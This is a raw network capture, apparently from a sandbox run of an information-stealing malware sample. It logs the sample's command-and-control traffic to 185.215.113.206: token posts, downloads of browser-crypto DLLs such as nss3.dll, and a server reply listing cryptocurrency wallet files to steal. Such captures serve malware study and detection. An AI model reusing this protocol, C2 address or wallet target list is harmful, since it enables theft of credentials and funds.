Nov 12, 2024 21:21:32.975127935 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAAAKFHIEGDGCAAAEGDG Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 41 41 4b 46 48 49 45 47 44 47 43 41 41 41 45 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 64 37 34 35 64 33 32 39 38 39 64 31 36 38 64 33 36 63 65 36 36 38 30 37 37 35 36 39 39 63 65 33 35 37 32 39 63 66 33 37 62 39 61 36 63 65 35 37 32 31 65 64 64 63 32 32 64 30 32 38 64 30 65 64 33 63 65 31 65 34 34 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 41 4b 46 48 49 45 47 44 47 43 41 41 41 45 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 41 4b 46 48 49 45 47 44 47 43 41 41 41 45 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------DAAAKFHIEGDGCAAAEGDGContent-Disposition: form-data; name="token"4d745d32989d168d36ce6680775699ce35729cf37b9a6ce5721eddc22d028d0ed3ce1e44------DAAAKFHIEGDGCAAAEGDGContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------DAAAKFHIEGDGCAAAEGDGContent-Disposition: form-data; name="file"------DAAAKFHIEGDGCAAAEGDG--
Nov 12, 2024 21:21:33.754823923 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 20:21:33 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 21:21:34.062908888 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDHCGDAFBKFIDHJJJDHC Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 48 43 47 44 41 46 42 4b 46 49 44 48 4a 4a 4a 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 64 37 34 35 64 33 32 39 38 39 64 31 36 38 64 33 36 63 65 36 36 38 30 37 37 35 36 39 39 63 65 33 35 37 32 39 63 66 33 37 62 39 61 36 63 65 35 37 32 31 65 64 64 63 32 32 64 30 32 38 64 30 65 64 33 63 65 31 65 34 34 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 43 47 44 41 46 42 4b 46 49 44 48 4a 4a 4a 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 43 47 44 41 46 42 4b 46 49 44 48 4a 4a 4a 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------IDHCGDAFBKFIDHJJJDHCContent-Disposition: form-data; name="token"4d745d32989d168d36ce6680775699ce35729cf37b9a6ce5721eddc22d028d0ed3ce1e44------IDHCGDAFBKFIDHJJJDHCContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IDHCGDAFBKFIDHJJJDHCContent-Disposition: form-data; name="file"------IDHCGDAFBKFIDHJJJDHC--
Nov 12, 2024 21:21:34.840367079 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 20:21:34 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 21:21:35.053138018 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 12, 2024 21:21:35.335010052 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 20:21:35 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 12, 2024 21:21:35.335036993 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
Nov 12, 2024 21:21:35.335048914 CET	1236	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$
Nov 12, 2024 21:21:35.335061073 CET	336	IN	Data Raw: 55 89 e5 53 57 56 83 ec 24 8b 4d 1c 8b 75 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 7d 08 8d 59 f8 83 f9 10 75 32 8d 45 dc 8d 4d e0 6a 10 ff 75 18 6a 10 50 51 57 e8 f7 93 06 00 83 c4 18 89 c7 8d 75 e8 83 45 dc f8 c7 45 d8 00 00 00 00 85 ff 0f 85 b4 01 Data Ascii: USWV$Mu01E}Yu2EMjujPQWuEEC1;]vS{EE1uuSPVEPo9]SUYY)ZYEME]M)19D
Nov 12, 2024 21:21:35.335072994 CET	1236	IN	Data Raw: f4 01 19 db f7 d0 09 c3 21 fb b8 04 00 00 00 29 c8 c1 f8 1f 8b 7d 1c 80 7c 37 f3 01 f7 d0 19 ff 09 c7 21 df 21 d7 b8 05 00 00 00 29 c8 c1 f8 1f f7 d0 8b 55 1c 80 7c 32 f2 01 19 db 09 c3 b8 06 00 00 00 29 c8 c1 f8 1f 80 7c 32 f1 01 f7 d0 19 d2 09 Data Ascii: !)}\|7!!)U\|2)\|2!!)M\|1t/EU;U]w"1E9t:RVP -:]QsE9uSjPEtSP\M1$^_[]U
Nov 12, 2024 21:21:35.335083008 CET	1236	IN	Data Raw: fc 07 00 83 c4 04 eb 09 c7 47 08 01 00 00 00 89 fe 89 f0 5e 5f 5b 5d c3 cc cc cc cc 55 89 e5 53 57 56 83 ec 08 8b 55 18 8b 4d 14 8b 5d 0c 8b 75 08 8b 3e 8b 46 04 39 d8 74 3a 8d 4e 08 8b 56 08 c7 46 08 00 00 00 00 85 ff 89 4d ec 89 55 f0 74 48 8b Data Ascii: G^_[]USWVUM]u>F9t:NVFMUtHHjWhjV4%tUVPdnFEFEF^Kt=Uuu#t>t FHjWEM
Nov 12, 2024 21:21:35.335094929 CET	1236	IN	Data Raw: 01 ff ff ff 73 20 68 0e e0 ff ff e8 6b f7 07 00 83 c4 04 68 02 01 00 00 56 e8 6f f7 07 00 83 c4 08 e9 cb 00 00 00 8d bd f0 fe ff ff 68 00 01 00 00 68 20 21 08 10 89 b5 ec fe ff ff 56 e8 cf f7 07 00 83 c4 0c bb 00 01 00 00 66 2e 0f 1f 84 00 00 00 Data Ascii: s hkhVohh !Vf.@uVuW)9wSuWT>\>=t%>>fM
Nov 12, 2024 21:21:35.335107088 CET	1236	IN	Data Raw: 00 c7 45 e0 00 00 00 00 89 45 d4 83 f8 08 0f 82 fc 02 00 00 8b 4d d4 83 e1 f8 8d 41 f8 89 c2 c1 ea 03 83 c2 01 85 c0 89 4d c8 0f 84 ef 01 00 00 89 d1 83 e1 fe 66 0f 6f 05 c0 20 08 10 31 f6 66 0f ef c9 66 0f ef d2 8b 7d 10 8b 5d cc 0f 1f 80 00 00 Data Ascii: EEMAMfo 1ff}]fn4ff`fafofrfo f[fpffpffof% fpfpfbfnlff`fafffrf% [fpffpfpffp
Nov 12, 2024 21:21:35.335119009 CET	1236	IN	Data Raw: d3 89 45 e4 f7 5d d8 b9 01 00 00 00 88 de 89 fb 80 c3 01 0f b6 fb 8b 45 f0 8a 14 38 00 d6 88 75 e8 0f b6 f6 8a 34 30 88 34 38 88 14 30 00 d6 0f b6 f6 8a 75 e8 8b 7d e4 8a 54 0f ff 32 14 30 8b 45 dc 88 54 08 ff 8b 45 d8 01 c8 83 c0 01 83 c1 01 83 Data Ascii: E]E8u40480u}T20ETEuE14^_[]UM1]U}f.MMuEMMU2}E0MEEMLE
Nov 12, 2024 21:21:36.254126072 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 12, 2024 21:21:36.535713911 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 20:21:36 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 12, 2024 21:21:36.692236900 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 12, 2024 21:21:36.974065065 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 20:21:36 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 12, 2024 21:21:37.091841936 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 12, 2024 21:21:37.374001026 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 20:21:37 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 12, 2024 21:21:37.758266926 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 12, 2024 21:21:38.041564941 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 20:21:37 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 12, 2024 21:21:39.395596027 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 12, 2024 21:21:39.677495003 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 20:21:39 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 12, 2024 21:21:40.164032936 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAEGCGCGIEGDHIDHJJEH Host: 185.215.113.206 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Nov 12, 2024 21:21:40.946923018 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 20:21:40 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 21:21:41.024197102 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AEGHIJEHJDHIDHIDAEHC Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 45 47 48 49 4a 45 48 4a 44 48 49 44 48 49 44 41 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 64 37 34 35 64 33 32 39 38 39 64 31 36 38 64 33 36 63 65 36 36 38 30 37 37 35 36 39 39 63 65 33 35 37 32 39 63 66 33 37 62 39 61 36 63 65 35 37 32 31 65 64 64 63 32 32 64 30 32 38 64 30 65 64 33 63 65 31 65 34 34 0d 0a 2d 2d 2d 2d 2d 2d 41 45 47 48 49 4a 45 48 4a 44 48 49 44 48 49 44 41 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 41 45 47 48 49 4a 45 48 4a 44 48 49 44 48 49 44 41 45 48 43 2d 2d 0d 0a Data Ascii: ------AEGHIJEHJDHIDHIDAEHCContent-Disposition: form-data; name="token"4d745d32989d168d36ce6680775699ce35729cf37b9a6ce5721eddc22d028d0ed3ce1e44------AEGHIJEHJDHIDHIDAEHCContent-Disposition: form-data; name="message"wallets------AEGHIJEHJDHIDHIDAEHC--
Nov 12, 2024 21:21:41.308064938 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 20:21:41 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
